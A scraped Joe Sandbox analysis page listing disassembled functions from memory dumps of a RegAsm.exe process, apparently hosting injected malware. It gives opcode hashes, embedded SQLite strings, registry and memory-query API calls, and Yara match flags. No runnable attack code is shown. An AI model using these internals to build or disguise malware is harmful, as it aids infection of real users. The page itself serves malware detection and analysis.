Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: CREATE TABLE x(input, token, start, end, position)$simple$unknown tokenizer: %s
API String ID: 0-2679805236
Opcode ID: 874fe8817ab0c6a2ade49e1d030a0b146560e8b2af95bf51d9e05b5dbe940080
Instruction ID: 68508619a871486878ea80e2c6466ed192c99cf10e8b1388403b5ee8abce4e8f
Opcode Fuzzy Hash: 874fe8817ab0c6a2ade49e1d030a0b146560e8b2af95bf51d9e05b5dbe940080
Instruction Fuzzy Hash: B871D371A043068BCB04CF38CD84A9AB7E8BFA4214F05852DE88AD7341EB35E949CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 1B5AF0E0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 216COMMON

Download Yara Rule

Strings

unable to delete/modify user-function due to active statements, xrefs: 1B5AF157, 1B5AF298
misuse, xrefs: 1B5AF1E6, 1B5AF327
%s at line %d of [%.10s], xrefs: 1B5AF1EB, 1B5AF32C
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B5AF1DC, 1B5AF31D

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$unable to delete/modify user-function due to active statements
API String ID: 0-3864549341
Opcode ID: 65b2e1bf07bdc50ecab10cc9731a8898aef4917437aba0d65a41288ff91bd9d7
Instruction ID: 589b73edfe0eaa4affc1be4e0efc8d1f00c938b27e6072c6452d581665d6eeaf
Opcode Fuzzy Hash: 65b2e1bf07bdc50ecab10cc9731a8898aef4917437aba0d65a41288ff91bd9d7
Instruction Fuzzy Hash: F06156B5A00B016BF701AF30CC56BDF7BA8AF41305F004528E856EB2C2E7A5E155C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C09C2 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

cannot UPDATE a subset of columns on fts5 contentless-delete table: %s, xrefs: 1B4C0B3B

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: cannot UPDATE a subset of columns on fts5 contentless-delete table: %s
API String ID: 0-2869280805
Opcode ID: 0d4b6a79c0f3f50deb11847bc0c61aee8df353d23c0c0208f370d9a0895e6580
Instruction ID: 0645a15231f2de175e5ebbd1523347db1fa0c14c4b2f000f8a35a4961cd4aa95
Opcode Fuzzy Hash: 0d4b6a79c0f3f50deb11847bc0c61aee8df353d23c0c0208f370d9a0895e6580
Instruction Fuzzy Hash: 3441B1BAA013019FDB00DF98EC809A7F7A5FF89625B0085BEE64887711E772E855C790

Uniqueness

Uniqueness Score: -1.00%

Function 1B4B3F30 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 169COMMON

Download Yara Rule

Strings

tokenchars=, xrefs: 1B4B406A
separators=, xrefs: 1B4B40A3
remove_diacritics=2, xrefs: 1B4B4021
remove_diacritics=0, xrefs: 1B4B3FE1
remove_diacritics=1, xrefs: 1B4B3FA2

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: remove_diacritics=0$remove_diacritics=1$remove_diacritics=2$separators=$tokenchars=
API String ID: 0-131617836
Opcode ID: 9709a4853c1abfb2b7469dc6e4de6539e2730c0769a8e9b9df498c5a0ce997ab
Instruction ID: 97b88b50acce4b66c50461867a875873f851a124bc8849715c550a359b2e075e
Opcode Fuzzy Hash: 9709a4853c1abfb2b7469dc6e4de6539e2730c0769a8e9b9df498c5a0ce997ab
Instruction Fuzzy Hash: 1051F576E041828BDB008F14D6807E6B7B1FB52324F85C1A8EA865B745E732ED878B71

Uniqueness

Uniqueness Score: -1.00%

Function 1B4B1120 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

rbu_memory, xrefs: 1B4B11F5
main, xrefs: 1B4B11A6

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: main$rbu_memory
API String ID: 0-3973752345
Opcode ID: 8d837449475f83fd564ee1ea33dad1f257441e01a70f18edb580520ac15d20cd
Instruction ID: 5cb2fa5ac353672c0cd2ab1f0d634a3d39606fc7d2c9daec7845dfda6538cd34
Opcode Fuzzy Hash: 8d837449475f83fd564ee1ea33dad1f257441e01a70f18edb580520ac15d20cd
Instruction Fuzzy Hash: 8751C3756003019FDB04CF66D980B96B7E8EF98215F04842EEE85D7741DB35E949CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4A8C40 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

winAccess, xrefs: 1B4A8D60
delayed %dms for lock/sharing conflict at line %d, xrefs: 1B4A8D35

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 0-1873940834
Opcode ID: 631bfc5c555f8a6039ed0c453a973c99c54746166d779cd37f60615d19539185
Instruction ID: 36eaa45a45e42f20b9a20270e9c59410768ad46d9a517afb49bcd222f69586d6
Opcode Fuzzy Hash: 631bfc5c555f8a6039ed0c453a973c99c54746166d779cd37f60615d19539185
Instruction Fuzzy Hash: 1941E8B2D053429BF704AB34D882ADBFBA4EBF5210F458A2DF8D7523D0D620D484C692

Uniqueness

Uniqueness Score: -1.00%

Function 1B5B9350 Relevance: 10.6, APIs: 7, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 673f2b75e63c4e3b5897f0b7fa562f5b0ec0bfd6116aba0d87448d8eb7066e08
Instruction ID: 02eae5605f4a268da3ec42030387484b1024c58d295c62dede9e033c1c5d32c1
Opcode Fuzzy Hash: 673f2b75e63c4e3b5897f0b7fa562f5b0ec0bfd6116aba0d87448d8eb7066e08
Instruction Fuzzy Hash: A25164708006219BEB186F75DECDA5737BDBFA0659B00482CECCAD2111DB35E49CCAA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B5415C0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 135COMMON

Download Yara Rule

Strings

null, xrefs: 1B5415EE
JSON cannot hold BLOB values, xrefs: 1B5416D9
%!0.15g, xrefs: 1B54160A

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %!0.15g$JSON cannot hold BLOB values$null
API String ID: 0-3074873597
Opcode ID: c474f0a33244b47cf0c68bbe060602954d43477e6f4fa18eca0753a958e12db8
Instruction ID: 82d3180d54d6c0981d96cac929f595a356534694435a24629c3c9c2c14575a10
Opcode Fuzzy Hash: c474f0a33244b47cf0c68bbe060602954d43477e6f4fa18eca0753a958e12db8
Instruction Fuzzy Hash: 9D41AFB5B007107AF7105B16EC82BEB7FB4DB81329F280629E151C59C2F3A9E59983E1

Uniqueness

Uniqueness Score: -1.00%

Function 1B4B1D50 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

no such database: %s, xrefs: 1B4B1E05
CREATE TABLE x( name TEXT, path TEXT, pageno INTEGER, pagetype TEXT, ncell INTEGER, payload INTEGER, unused INTEGER, mx_payload INTEGER, pgoffset INTEGER, pgsize INTEGER, schema TEXT HIDDEN, aggregate BOOLEAN HIDDEN), xrefs: 1B4B1E2C

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: CREATE TABLE x( name TEXT, path TEXT, pageno INTEGER, pagetype TEXT, ncell INTEGER, payload INTEGER, unused INTEGER, mx_payload INTEGER, pgoffset INTEGER, pgsize INTEGER, schema TEXT HIDDEN, aggregate BOOLEAN HIDDEN)$no such database: %s
API String ID: 0-1404816483
Opcode ID: 4ebf46260c2e26a4da33c61f9a5c6f28f233c3de73127db9c81f379fb9d3a82e
Instruction ID: 194f57925e108113109a69066bc0ed5557c6d832c7346e2855d4c1e64fcd0634
Opcode Fuzzy Hash: 4ebf46260c2e26a4da33c61f9a5c6f28f233c3de73127db9c81f379fb9d3a82e
Instruction Fuzzy Hash: 5A3124766003096BD7105F6ADC41BDBBBDCEF85215F014569FE5897340EA7AB80187F0

Uniqueness

Uniqueness Score: -1.00%

Function 0040E377 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0040E38B
??_U@YAPAXI@Z.MSVCRT ref: 0040E3AC

Part of subcall function 0040E1C5: strlen.MSVCRT ref: 0040E1D1
Part of subcall function 0040E1C5: strlen.MSVCRT ref: 0040E1E7
Part of subcall function 0040E1C5: strlen.MSVCRT ref: 0040E280

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,?,?,?,?,?,?,00000000,?,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000,000000FF), ref: 0040E3D9
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 0040E4A3
??_V@YAXPAX@Z.MSVCRT ref: 0040E4B4

Strings

@, xrefs: 0040E3F2

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strlen$QueryVirtual
String ID: @
API String ID: 3099930812-2766056989
Opcode ID: bc935735bfe66f2cfa709eb9292368b676d4d92ac508cf87d482b77474d67838
Instruction ID: c8b3067a2108592b80ef189392ea64f237946407b23b110ec30888ac03a258c7
Opcode Fuzzy Hash: bc935735bfe66f2cfa709eb9292368b676d4d92ac508cf87d482b77474d67838
Instruction Fuzzy Hash: 92417F71A00109EFDF14DF96CC45AEF7BBAEF44358F14442AF905B2290D7389E609B98

Uniqueness

Uniqueness Score: -1.00%

Function 004104D9 Relevance: 10.6, APIs: 7, Instructions: 119stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004104DE
strtok_s.MSVCRT ref: 00410509
StrCmpCA.SHLWAPI(00000000,0042549C,00000000,?,?,?,00000000), ref: 0041054C
StrCmpCA.SHLWAPI(00000000,00425498,00000000,?,?,?,00000000), ref: 0041057A
StrCmpCA.SHLWAPI(00000000,00425494,00000000,?,?,?,00000000), ref: 0041059F
StrCmpCA.SHLWAPI(00000000,00425490,00000000,?,?,?,00000000), ref: 004105D0
strtok_s.MSVCRT ref: 00410606

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$H_prolog
String ID:
API String ID: 1158113254-0
Opcode ID: 7a7ea6faa1a0c3b333f2e120b484d67a2e51921f489177db5e1a79cf971b9e4b
Instruction ID: ebd3afb1fba8b709159ab264ef984f9babedf62ef1284e5e49618526588e8651
Opcode Fuzzy Hash: 7a7ea6faa1a0c3b333f2e120b484d67a2e51921f489177db5e1a79cf971b9e4b
Instruction Fuzzy Hash: 09419071A0020AABC714DF65C981BEABBF9BB14315F10052FE405E6691DBBCDAC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 1B5431F0 Relevance: 9.5, APIs: 6, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d607e783a53234a57d590ae923e76f3ff2efdc97e87b2651459457d3993fe6b3
Instruction ID: c0ddbf6ef7788f835af0706701b89e76483d388f8f430444617e0990a9d4d286
Opcode Fuzzy Hash: d607e783a53234a57d590ae923e76f3ff2efdc97e87b2651459457d3993fe6b3
Instruction Fuzzy Hash: 4BF1E371A083419BE705CF18D8C47DABBE0BF84224F244A7DE8D997262F735E946CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C4E00 Relevance: 9.2, APIs: 6, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da32897e83b0aff963613a5b243dd6116b22c1672a0ba425401abdd6acec35e3
Instruction ID: c825e680833396d1b33c723bd5892eb2d4153219d2dd2cded6d6a1f826a275b8
Opcode Fuzzy Hash: da32897e83b0aff963613a5b243dd6116b22c1672a0ba425401abdd6acec35e3
Instruction Fuzzy Hash: 1581AC759042119BD7009F29D989B9B7BE8FF90B29F40482CFD88D7300D736E948CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00414D11 Relevance: 9.1, APIs: 6, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00414D16
memset.MSVCRT ref: 00414D42
RegOpenKeyExA.ADVAPI32(80000001,00000000,00020119,?,?,?,00000000), ref: 00414D5F
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF,?,?,00000000), ref: 00414D7F
lstrcat.KERNEL32(?,?), ref: 00414DAE
lstrcat.KERNEL32(?), ref: 00414DC1

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prologOpenQueryValuememset
String ID:
API String ID: 2333602472-0
Opcode ID: e89c6f7f6df6db119f28572c97048b95ba73f9e7729f35408fa1683792117981
Instruction ID: 6b6383bd5b7caf69e41b2564a079a2aef47e93a4663bb97bd4959b4e6f5e0dc6
Opcode Fuzzy Hash: e89c6f7f6df6db119f28572c97048b95ba73f9e7729f35408fa1683792117981
Instruction Fuzzy Hash: 8D415EB1C4022DABCF10EFA1DC46EDD7B7DEB04314F00456AF514A2191E735AB958BD6

Uniqueness

Uniqueness Score: -1.00%

